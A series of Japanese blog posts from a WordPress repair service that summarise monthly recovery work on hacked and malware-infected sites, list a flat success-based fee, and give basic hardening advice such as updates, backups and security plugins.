多数のお客様からご依頼をいただきました。すべてワードプレスを100％復旧させていただいております。All in one SEO・古いFileManagerの深刻な脆弱性や、プラグインがアップデートされていないばかりに、マルウェアが仕込まれる案件は、以前と引き続き多いです。マルウェアは、プラグイン経由でワードプレス組み込まれ、巧妙にできており、管理者が気づかない場合が多く、外部からの指摘で気づいた入りします。ワードプレスのセキュリティーチェックは重要です。

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください

## ワードプレス（WordPress）の復旧・復帰・トラブル解決内容

### ワードプレスのテーマの脆弱性からのマルウェアの侵入、除去

### ワードプレスのテーマのプログラム修正

### ワードプレスのプラグインの脆弱性からのマルウェアの侵入のトラブル、除去

### 古いサーバーからのワードプレスのサーバー移動や移管

### ワードプレスのアップデートなどのテスト環境の作成

### プラグインのアップデート失敗、プログラム破損のトラブル対応

ご依頼ありがとうございました。ワードプレスレスキューは、土日も受付ではなく、対応もしております。

**カテゴリー:** ワードプレス復旧実績

---

### [ワードプレスの復旧・修復・トラブル依頼の実績です。「2022年4月」](https://wp-r.com/wprescue/202204/)

**Published:** 5月 5, 2022
**Author:** ワードプレスレスキュー

**Content:**

多数のお客様からご依頼をいただきました。すべてワードプレスを100％復旧させていただいております。All in one SEO・古いFileManager、Elementor深刻な脆弱性や、プラグインがアップデートされていないばかりに、マルウェアが仕込まれる案件は、以前と引き続き多いです。マルウェアは、プラグイン経由でワードプレス組み込まれ、巧妙にできており、管理者が気づかない場合が多く、外部からの指摘で気づいた入りします。ワードプレスのセキュリティーチェックは重要です。

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください

## ワードプレス（WordPress）の復旧・復帰・トラブル解決内容

### ワードプレスが海外サイトに飛ばされる

### ワードプレスの脆弱性からのマルウェアの侵入、除去、復旧

### ワードプレスのテーマのプログラム修正

### プラグインのアップデート失敗、プログラム破損のトラブル対応

ご依頼ありがとうございました。ワードプレスレスキューは、土日も受付ではなく、対応もしております。

**カテゴリー:** ワードプレス復旧実績

---

### [ワードプレスの復旧・修復・トラブル依頼の実績です。「2022年5月・6月」](https://wp-r.com/wprescue/202205-06/)

**Published:** 7月 10, 2022
**Author:** ワードプレスレスキュー

**Content:**

多数のお客様からご依頼をいただきました。受任分はワードプレスを100％復旧させていただいております。

## ワードプレス（WordPress)の改ざんについて

こちらの記事を読まれている方は、すでにないんかしら、マルウェアなどで改ざんがされている可能性がある方だとおもいます。まず、改ざんされないためには、ワードプレスの本体とプラグインをしっかりとアップデートし、開発のとまったプラグインは使用しないことです。これで、相当な確率でマルウェアの侵入やワードプレス（WordPress）の改ざんは防げます。

## ワードプレス（WordPress)の復旧・修復はどうぞお任せください。

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください

## ワードプレス（WordPress）の復旧・復帰・トラブル解決内容

### ワードプレスが海外サイトに飛ばされる

### ワードプレスが改ざんされる

### ワードプレスのテーマのプログラム修正

### プラグインのアップデート失敗、プログラム破損のトラブル対応

ご依頼ありがとうございました。ワードプレスレスキューは、土日も受付ではなく、対応もしております。

**カテゴリー:** ワードプレス復旧実績

---

### [ワードプレス(WordPress）の復旧・修復の相談をLINEでも受け付けております。](https://wp-r.com/news/line-repair-support/)

**Published:** 7月 23, 2022
**Author:** ワードプレスレスキュー

**Content:**

[![](https://wp-r.com/wp-content/uploads/2022/07/line.png)](https://lin.ee/r1gn0lQ)

## ワードプレス(WordPress）の復旧・修復のLINE相談

ワードプレス(WordPress）の復旧・修復について、事前にLINEにてお気軽にご相談いただけるようになりました。チャットワークやトップページからのチャットも引き続き、お問い合わせいただけます。

**カテゴリー:** お知らせ

---

### [ワードプレスの復旧・修復・トラブル依頼の実績です。「2022年11月」](https://wp-r.com/wprescue/202211/)

**Published:** 12月 1, 2022
**Author:** ワードプレスレスキュー

**Content:**

多数のお客様からご依頼をいただきました。すべてワードプレスを100％復旧させていただいております。All in one SEO・古いContact7、Elementor深刻な脆弱性や、プラグインがアップデートされていないばかりに、ワードプレスにマルウェアが仕込まれる案件は、以前と引き続き多いです。マルウェアは、プラグイン経由でワードプレス組み込まれ、巧妙にできており、管理者が気づかない場合が多く、外部からの指摘で気づいた入りします。ワードプレスのセキュリティーチェックは重要です。

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください

## ワードプレス（WordPress）の復旧・復帰・トラブル解決内容

### ワードプレスが海外サイトに飛ばされる

### ワードプレスの脆弱性からのマルウェアの侵入、除去、復旧

### ワードプレスのテーマのプログラム修正

### DNS設定の間違い

### php.iniの設定ミス

### プラグインのアップデート失敗、プログラム破損のトラブル対応

ご依頼ありがとうございました。ワードプレスレスキューは、土日も受付ではなく、実際の対応をして、おりオフィスは稼働しております。

**カテゴリー:** ワードプレス復旧実績

---

### [年末年始もワードプレスの復旧・修復を対応いたします。](https://wp-r.com/news/open-on-holiday-2022/)

**Published:** 12月 27, 2022
**Author:** ワードプレスレスキュー

**Content:**

## ワードプレスの復旧・修復は年末年始も対応しております。

ワードプレスの復旧・修復は年末年始も対応しておりますので、お問い合わせなども受付ではなくて、対応しております。ワードプレスの障害やワードプレスのマルウェアは３６５日２４時間関係なく攻撃をしてきます。弊社では、ワードプレスの復旧・修復・マルウェア対策は年末年始で対応しております。

### ワードプレスのマルウェア対応も年末年始受け付けております。

ワードプレスにマルウェアが仕込まれて、詐欺サイトに転送される、ホームページが見れなくなった、管理画面が崩れるなど、様々な対応をしております。

### Use of undefined constant name assumed ‘title’ (this will throw an Error in a future version of PHP)

ワードプレスでPHPのエラーなどの障害対応をお任せください。

**カテゴリー:** お知らせ

---

### [ワードプレスの復旧・修復・トラブル依頼の実績です。「2022年12月」](https://wp-r.com/wprescue/202212/)

**Published:** 1月 4, 2023
**Author:** ワードプレスレスキュー

**Content:**

多数のお客様からご依頼をいただきました。すべてワードプレスを100％復旧させていただいております。プラグインの深刻な脆弱性や、プラグインがアップデートされていないばかりに、ワードプレスにマルウェアが仕込まれる案件は、以前と引き続き多いです。とくに、**古いFileManagerなどは、すぐにアップデートをしないと行けません。**ワードプレスに悪意あるファイルを、簡単に仕込まれてしまいます。とくに、オリジナルのテーマファイルなどは、バックアップがないと、大きく改ざんされてしまうと、オリジナルとの差分がわからないため、最悪は制作し直しが生じます。

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのセキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください。

**お客様のサーバー全体がワードプレスのマルウェアに感染した場合も、ご相談ください！**

## ワードプレス（WordPress）の復旧・復帰・改ざんの解決内容

### ワードプレスが海外サイトに飛ばされる（引き続き多いです）

### ワードプレスの脆弱性からのマルウェアの侵入、除去、復旧

### ワードプレスのテーマのプログラム修正

### プラグインのアップデート失敗、プログラム破損のトラブル対応

ご依頼ありがとうございました。ワードプレスレスキューは、土日もメール受付ではなく、実際の対応をしております。

## 成功報酬で、料金は一律39,600円（税込・後払い）追加料金無し。

弊社のワードプレス修復・復旧の料金は一律の成功報酬の39,600円（税込み）・追加料金なし！。**スピード重視で対応**をいたします。**調査して、物理的に復旧不可の場合でも料金はいただきません！**

成功報酬を導入することにより、高いサービスをご提供します。難易度が高くても一律料金。「内容調査」「見積作成」「見積検討」の日数と時間を大幅に削減します。

\[su\_button url=”https://wp-r.com/?page\_id=8#table1″\]成果報酬で依頼をする。内容の確認依頼をする\[/su\_button\]

## 多数のメディアで弊社のサービスを取り上げて頂いております。（一部抜粋）

![](https://wp-r.com/wp-content/uploads/2022/10/Yomiuri.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/no.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JIJI.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/AllAbout.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/Rakuten.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/excite.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/BIGLOBE.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JBpress.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/DIME.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/otakuma.jpg)

**カテゴリー:** ワードプレス復旧実績

---

### [ワードプレスの復旧・修復・トラブル依頼の実績です。「2023年１月」　](https://wp-r.com/wprescue/202301/)

**Published:** 2月 1, 2023
**Author:** ワードプレスレスキュー

**Content:**

多数のお客様からご依頼をいただきました。すべてワードプレスを100％復旧させていただいております。ワードプレスは、構築をしたあとは、そのまま運用していると、脆弱性からマルウェアなどの侵入を許してしまい、サイトが乗っ取られる危険性が高く、運用もとても需要です。プラグインの深刻な脆弱性や、プラグインがアップデートされていないばかりに、ワードプレスにマルウェアが仕込まれる案件は、以前と引き続き多いです。これは、当分減少する傾向になるとは、到底考えられません。

**お客様のサーバー全体がワードプレスのマルウェアに感染した場合も、ご相談ください！**

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのセキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください。

\[su\_button url=”https://wp-r.com/?page\_id=8#table1″\]成果報酬で依頼をする。内容の確認依頼をする\[/su\_button\]

## ワードプレス（WordPress）の復旧・復帰・改ざんの解決内容

### ワードプレスが海外サイトに飛ばされる（引き続き多いです）

### ワードプレスの脆弱性からのマルウェアの侵入、除去、復旧

### ワードプレスのテーマのプログラムが改ざんからの復旧

### ワードプレスの乗っ取りトラブルからの復旧

### プラグインのアップデート失敗、プログラム破損のトラブル対応

### 見に覚えのないワードプレスのユーザーが作成されていた

ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

## 成功報酬で、料金は一律39,600円（税込・後払い）追加料金無し。

弊社のワードプレス修復・復旧の料金は一律の成功報酬の39,600円（税込み）・追加料金なし！。**スピード重視で対応**をいたします。**調査して、物理的に復旧不可の場合でも料金はいただきません！**

成功報酬を導入することにより、高いサービスをご提供します。難易度が高くても一律料金。「内容調査」「見積作成」「見積検討」の日数と時間を大幅に削減します。

\[su\_button url=”https://wp-r.com/?page\_id=8#table1″\]成果報酬で依頼をする。内容の確認依頼をする\[/su\_button\]

## 多数のメディアで弊社のサービスを取り上げて頂いております。（一部抜粋）

![](https://wp-r.com/wp-content/uploads/2022/10/Yomiuri.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/no.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JIJI.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/AllAbout.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/Rakuten.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/excite.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/BIGLOBE.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JBpress.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/DIME.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/otakuma.jpg)

**カテゴリー:** ワードプレス復旧実績

---

### [ワードプレスの復旧・修復・トラブル依頼の実績です。「2023年2月」　](https://wp-r.com/wprescue/202302/)

**Published:** 3月 15, 2023
**Author:** ワードプレスレスキュー

**Content:**

多数のお客様からご依頼をいただきました。すべてワードプレスを「ご依頼頂いた分」についましては、100％復旧させていただいております。ワードプイレスのマルウェアによるサイト乗っ取り、改ざんの依頼が9割です。ワードプレスは、コアファイルやプラグイン・テーマファイル脆弱性からマルウェアなどの侵入を許してしまい、サイトが乗っ取られる危険性が高く、運用もとても需要です。無効化にしているワードプレスのプラグイでも脆弱性があれば、マルウェアに侵入されて、サイトやGoogle検索結果が改ざんされたり、深刻な被害がおきますので注意です。

**お客様のサーバー全体がワードプレスのマルウェアに感染した場合も、ご相談ください！**

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのセキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください。

\[su\_button url=”https://wp-r.com/?page\_id=8#table1″\]成果報酬で依頼をする。内容の確認依頼をする\[/su\_button\]

## ワードプレス（WordPress）の復旧・復帰・改ざんの解決内容

### ワードプレスが海外サイトに飛ばされる（引き続き多いです）

### ワードプレスの脆弱性からのマルウェアの侵入、除去、復旧

### ワードプレスのテーマのプログラムが改ざんからの復旧

### ワードプレスの乗っ取りトラブルからの復旧

### プラグインのアップデート失敗、プログラム破損のトラブル対応

### 見に覚えのないワードプレスのユーザーが作成されていた

ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

## 成功報酬で、料金は一律39,600円（税込・後払い）追加料金無し。

弊社のワードプレス修復・復旧の料金は一律の成功報酬の39,600円（税込み）・追加料金なし！。**スピード重視で対応**をいたします。**調査して、物理的に復旧不可の場合でも料金はいただきません！**

成功報酬を導入することにより、高いサービスをご提供します。難易度が高くても一律料金。「内容調査」「見積作成」「見積検討」の日数と時間を大幅に削減します。

\[su\_button url=”https://wp-r.com/?page\_id=8#table1″\]成果報酬で依頼をする。内容の確認依頼をする\[/su\_button\]

## 多数のメディアで弊社のサービスを取り上げて頂いております。（一部抜粋）

![](https://wp-r.com/wp-content/uploads/2022/10/Yomiuri.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/no.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JIJI.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/AllAbout.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/Rakuten.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/excite.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/BIGLOBE.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JBpress.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/DIME.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/otakuma.jpg)

**カテゴリー:** ワードプレス復旧実績

---

### [ワードプレスのマルウェア・復旧・修復・トラブル依頼の実績です。「2024年1月」「2023年12月」　](https://wp-r.com/wprescue/202312-202401/)

**Published:** 2月 1, 2024
**Author:** ワードプレスレスキュー

**Content:**

年末年始や夜間対応を公式に表明しているのは、もしかしたら弊社ワードプレスレスキューだけかもしれません。そのためか、とても忙しい大晦日とお正月でした。そして、多数のお客様からワードプレスの修復の依頼を受けています。ほとんどはマルウェアによるサイト乗っ取りや改ざんです。ワードプレスは脆弱性があり、プラグインを無効化していてもマルウェアに侵入される可能性があります。注意が必要です。

ワードプレスの乗っ取りや、ワードプレスの改ざん復旧など、とくにワードプレスのセキュリティー対応には自身を持っております。

## マルウェアの復旧や予後対策までお任せください。

ワードプレスのマルウェアの復旧や予後対策までお任せください。

ご希望の方には、ZOOMやGoogleMeetでフォローアップをさせていただきます。

## ワードプレスをマルウェアから守る最低限8か条！

1. **正しいバックアップ手順の確立：** 定期的かつ正確なバックアップは、サイトの重要なデータを保護します。バックアップは外部の場所に保存し、必要なら迅速にリストアできるようにしておくことが重要です。
2. **最新のWordPressおよびプラグインの使用：** WordPressのコア、テーマ、プラグインは、最新の状態に保つことがセキュリティを確保する重要なステップです。定期的に更新を行い、セキュリティの脆弱性が修正されているか確認してください。
3. **信頼性のあるテーマとプラグインの選択：** テーマやプラグインは信頼性のあるソースから入手し、最新かつアクティブにメンテナンスされているものを選択するように心掛けましょう。
4. **セキュリティプラグインの使用：** WordPressセキュリティ用のプラグインを導入することで、不正アクセスやマルウェア対策を強化できます。有名なプラグインにはSucuriやWordfenceなどがあります。
5. **複雑で安全なパスワードの使用：** 強力なパスワードを使用し、かつ、適切な権限を持つユーザーしかアクセスできないようにします。
6. **不必要なユーザーアカウントの削除：** 不要なユーザーアカウントを削除し、必要なユーザーには最小限の権限を与えることで、不正アクセスのリスクを低減できます。
7. **SSLの導入：** SSL証明書を使用して、通信データを暗号化し、セキュアな通信を確保します。
8. **セキュリティの監視とログの確認：** サイトのアクセスログやセキュリティイベントログを定期的に確認し、異常なアクティビティを早期に発見することが重要です。

これらの対策を講じることで、WordPressサイトのセキュリティを向上させ、悪意ある攻撃から保護することが期待されます。

**お客様のサーバー全体がワードプレスのマルウェアに感染した場合も、ご相談ください！**

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのセキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください。

[![まずはご安心ください！ワードプレスのトラブル解決に向けて、ご一緒にご尽力致します。土日祝対応しています。受任後最短乗っ取り対応１時間～4時間以内の実績多数。 小さな案件から、大きな案件・難しい案件まで幅広く、迅速に対応させていただきます。 個人のお客様から、中小企業、仕業、東京証券取引所上場のお客様まで、ご依頼を頂いております。](https://wp-r.com/wp-content/uploads/2023/06/chargefree2.png)](https://wp-r.com/?page_id=8)

## ワードプレスのマルウェア等からの復旧・復帰・改ざんの内容や料金

### ワードプレスが海外サイトに飛ばされる（引き続き多いです）

### ワードプレスの脆弱性からのマルウェアの侵入、除去、復旧

### ワードプレスのテーマのプログラムが改ざんからの復旧

### ワードプレスの乗っ取りトラブルからの復旧

### プラグインのアップデート失敗、プログラム破損のトラブル対応

### 見に覚えのないワードプレスのユーザーが作成されていた

ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

## 成功報酬で、料金はわかりやすい2パターン。追加料金無し。

弊社のワードプレス修復・復旧の料金は一律の成功報酬の39,600円（税別）・追加料金なし！。**スピード重視で対応**をいたします。**調査して、物理的に復旧不可の場合でも料金はいただきません！**

成功報酬を導入することにより、高いサービスをご提供します。難易度が高くても一律料金。「内容調査」「見積作成」「見積検討」の日数と時間を大幅に削減します。

\[su\_button url=”https://wp-r.com/?page\_id=8#table1″\]成果報酬で依頼をする。内容の確認依頼をする\[/su\_button\]

## 多数のメディアで弊社のサービスを取り上げて頂いております。（一部抜粋）

![](https://wp-r.com/wp-content/uploads/2022/10/Yomiuri.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/no.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JIJI.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/AllAbout.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/Rakuten.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/excite.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/BIGLOBE.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JBpress.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/DIME.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/otakuma.jpg)

**カテゴリー:** ワードプレス復旧実績

---

### [ワードプレスのマルウェアの記事を書き直しました。](https://wp-r.com/wp-tips/updated-wordpress-malware-article/)

**Published:** 2月 14, 2025
**Author:** ワードプレスレスキュー

**Content:**

実際の事例をもとにワードプレスのマルウェアを復旧せずに、放置するとどうなるのか？マルウェアの実例を踏まえて、記事を書きなおしました。お客様から一番問い合わせがある内容で、気になるところです。ご参考にしていただけたら幸いです。

ワードプレスレスキュー・エンジニアリングチーム

[【2025年版】ワードプレスのマルウェア対応や復旧をしないとどうなるか](https://wp-r.com/?p=3314 "【2025年版】ワードプレスのマルウェア対応や復旧をしないとどうなるか")

**カテゴリー:** ワードプレスTIPS

---

### [WordPress(ワードプレス)のマルウェア・復旧・修復・トラブル依頼の実績です。「2024年8月」実績24件](https://wp-r.com/wprescue/202408/)

**Published:** 9月 4, 2024
**Author:** ワードプレスレスキュー

**Content:**

## 大規模な場合は、支援プランもございます。

マルウェアに感染したWordPressの数が多い場合は、ディスカウントはもちろんございます。しかしながらWrodPressのマルウェア対応はコスト高になる場合もあります。

\[blog\_parts id=4803 title=WordPresマルウェア支援プランとは？ \]

## マルウェアの復旧や予後対策までお任せください。

ワードプレスのマルウェアの復旧や予後対策までお任せください。瞬時にindex.phpが書き換わる、瞬時に.htaccessが書き換わるというのは、ワードプレスが感染するマルウェアの典型的なタイプです。このような書状とは別に、マルウェアの構成ファイルを削除しても、瞬時に生成されるパターンもありますが、全てにおいてワードプレスレスキューは対応をしております。**対応の後の対策までお任せください。**

ご希望の方には、ZOOMやGoogleMeetでフォローアップをさせていただきます。

\[blog\_parts id=4365 title=PRICE \]

## ワードプレスをマルウェアから守る最低限8か条！

1. **正しいバックアップ手順の確立：** 定期的かつ正確なバックアップは、サイトの重要なデータを保護します。バックアップは外部の場所に保存し、必要なら迅速にリストアできるようにしておくことが重要です。
2. **最新のWordPressおよびプラグインの使用：** WordPressのコア、テーマ、プラグインは、最新の状態に保つことがセキュリティを確保する重要なステップです。定期的に更新を行い、セキュリティの脆弱性が修正されているか確認してください。
3. **信頼性のあるテーマとプラグインの選択：** テーマやプラグインは信頼性のあるソースから入手し、最新かつアクティブにメンテナンスされているものを選択するように心掛けましょう。
4. **セキュリティプラグインの使用：** WordPressセキュリティ用のプラグインを導入することで、不正アクセスやマルウェア対策を強化できます。有名なプラグインにはSucuriやWordfenceなどがあります。
5. **複雑で安全なパスワードの使用：** 強力なパスワードを使用し、かつ、適切な権限を持つユーザーしかアクセスできないようにします。
6. **不必要なユーザーアカウントの削除：** 不要なユーザーアカウントを削除し、必要なユーザーには最小限の権限を与えることで、不正アクセスのリスクを低減できます。
7. **SSLの導入：** SSL証明書を使用して、通信データを暗号化し、セキュアな通信を確保します。
8. **セキュリティの監視とログの確認：** サイトのアクセスログやセキュリティイベントログを定期的に確認し、異常なアクティビティを早期に発見することが重要です。

これらの対策を講じることで、WordPressサイトのセキュリティを向上させ、悪意ある攻撃から保護することが期待されます。

**お客様のサーバー全体がワードプレスのマルウェアに感染した場合も、ご相談ください！**

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのセキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください。

[![まずはご安心ください！ワードプレスのトラブル解決に向けて、ご一緒にご尽力致します。土日祝対応しています。受任後最短乗っ取り対応１時間～4時間以内の実績多数。 小さな案件から、大きな案件・難しい案件まで幅広く、迅速に対応させていただきます。 個人のお客様から、中小企業、仕業、東京証券取引所上場のお客様まで、ご依頼を頂いております。](https://wp-r.com/wp-content/uploads/2023/06/chargefree2.png)](https://wp-r.com/?page_id=8)## ワードプレスのマルウェア等からの復旧・復帰・改ざんの内容全て対応！

### ワードプレスが海外サイトに飛ばされる（引き続き多いです）

### ワードプレスの脆弱性からのマルウェアの侵入、除去、復旧

### ワードプレスのテーマのプログラムが改ざんからの復旧

### ワードプレスの乗っ取りトラブルからの復旧

### プラグインのアップデート失敗、プログラム破損のトラブル対応

### 見に覚えのないワードプレスのユーザーが作成されていた

ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

## 多数のメディアで弊社のサービスを取り上げて頂いております。（一部抜粋）

![](https://wp-r.com/wp-content/uploads/2022/10/Yomiuri.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/no.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JIJI.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/AllAbout.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/Rakuten.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/excite.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/BIGLOBE.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JBpress.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/DIME.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/otakuma.jpg)**WordPresマルウェア支援プランとは？**ワードプレスレスキューとお客様で作業を分担して、WordPressのマルウェアを対応するものです。![ワードプレス移管・移設元、先の新しいサーバー情報をヒヤリングさせていただきます。 PHPのバージョン、MySQLのバージョン、文字コードなど大抵は問題なく移管・移設出来ますが、確実に行うために、ヒヤリングをさせていただいております。もちろん、お客様の方で判らなければ、弊社の方で調査を致します。](https://wp-r.com/wp-content/uploads/2017/07/wordpress.png)

- WordPressのマルウェア対応数が多い場合にご利用いただけるプランです。
- 弊社のWordPressのマルウェア対応やセキュリティー対策のノウハウを提供します。
- お客様で作業を分担することにより、コストダウン。
- 復旧までの伴奏を行います。
- 全体の復旧のプランのアウトラインを立案します。

-

**カテゴリー:** ワードプレス復旧実績

---

### [ワードプレスのマルウェア・復旧・修復・トラブル依頼の実績です。「2024年2月」「2024年3月」](https://wp-r.com/wprescue/202402-202403/)

**Published:** 3月 26, 2024
**Author:** ワードプレスレスキュー

**Content:**

## 土日祝日、早朝から夜間まで対応させていただきました。

2月はセキュリティー関係のワードプレスのマルウェア対策などのセキュリティープラグインに脆弱性が見つかる月でした。

MiniOrangeが提供するプラグイン「Malware Scanner 4.7.2」「Web Application Firewall 2.1.1」に脆弱性が発見されております。肌感覚だと、日本のワードプレスのサイトではこの２つのプラグインはあまり使われていため、被害はあまりないのではないかと考えております。

実際に、このプラグインが原因であろう、ワードプレスのマルウェア感染のご依頼は有りませんでした。

## しつこいマルウェアに対応

初めて対応するマルウェアが3月もありました。ワードプレスのマルウェア対策会社としては、やりがいがある反面、早急に対応しないといけないため、スタッフ一丸となって対応しました。
サーバー側の知識が重要になる案件でしたので、弊社の強みを活かして、ワードプレスのマルウェアの対応ができたと自負しております。

## マルウェアの復旧や予後対策までお任せください。

ワードプレスのマルウェアの復旧や予後対策までお任せください。

ご希望の方には、ZOOMやGoogleMeetでフォローアップをさせていただきます。

## ワードプレスをマルウェアから守る最低限8か条！

1. **正しいバックアップ手順の確立：** 定期的かつ正確なバックアップは、サイトの重要なデータを保護します。バックアップは外部の場所に保存し、必要なら迅速にリストアできるようにしておくことが重要です。
2. **最新のWordPressおよびプラグインの使用：** WordPressのコア、テーマ、プラグインは、最新の状態に保つことがセキュリティを確保する重要なステップです。定期的に更新を行い、セキュリティの脆弱性が修正されているか確認してください。
3. **信頼性のあるテーマとプラグインの選択：** テーマやプラグインは信頼性のあるソースから入手し、最新かつアクティブにメンテナンスされているものを選択するように心掛けましょう。
4. **セキュリティプラグインの使用：** WordPressセキュリティ用のプラグインを導入することで、不正アクセスやマルウェア対策を強化できます。有名なプラグインにはSucuriやWordfenceなどがあります。
5. **複雑で安全なパスワードの使用：** 強力なパスワードを使用し、かつ、適切な権限を持つユーザーしかアクセスできないようにします。
6. **不必要なユーザーアカウントの削除：** 不要なユーザーアカウントを削除し、必要なユーザーには最小限の権限を与えることで、不正アクセスのリスクを低減できます。
7. **SSLの導入：** SSL証明書を使用して、通信データを暗号化し、セキュアな通信を確保します。
8. **セキュリティの監視とログの確認：** サイトのアクセスログやセキュリティイベントログを定期的に確認し、異常なアクティビティを早期に発見することが重要です。

これらの対策を講じることで、WordPressサイトのセキュリティを向上させ、悪意ある攻撃から保護することが期待されます。

**お客様のサーバー全体がワードプレスのマルウェアに感染した場合も、ご相談ください！**

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのセキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください。

[![まずはご安心ください！ワードプレスのトラブル解決に向けて、ご一緒にご尽力致します。土日祝対応しています。受任後最短乗っ取り対応１時間～4時間以内の実績多数。 小さな案件から、大きな案件・難しい案件まで幅広く、迅速に対応させていただきます。 個人のお客様から、中小企業、仕業、東京証券取引所上場のお客様まで、ご依頼を頂いております。](https://wp-r.com/wp-content/uploads/2023/06/chargefree2.png)](https://wp-r.com/?page_id=8)## ワードプレスのマルウェア等からの復旧・復帰・改ざんの内容や料金

### ワードプレスが海外サイトに飛ばされる（引き続き多いです）

### ワードプレスの脆弱性からのマルウェアの侵入、除去、復旧

### ワードプレスのテーマのプログラムが改ざんからの復旧

### ワードプレスの乗っ取りトラブルからの復旧

### プラグインのアップデート失敗、プログラム破損のトラブル対応

### 見に覚えのないワードプレスのユーザーが作成されていた

ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

## 成功報酬で、料金はわかりやすい2パターン。追加料金無し。

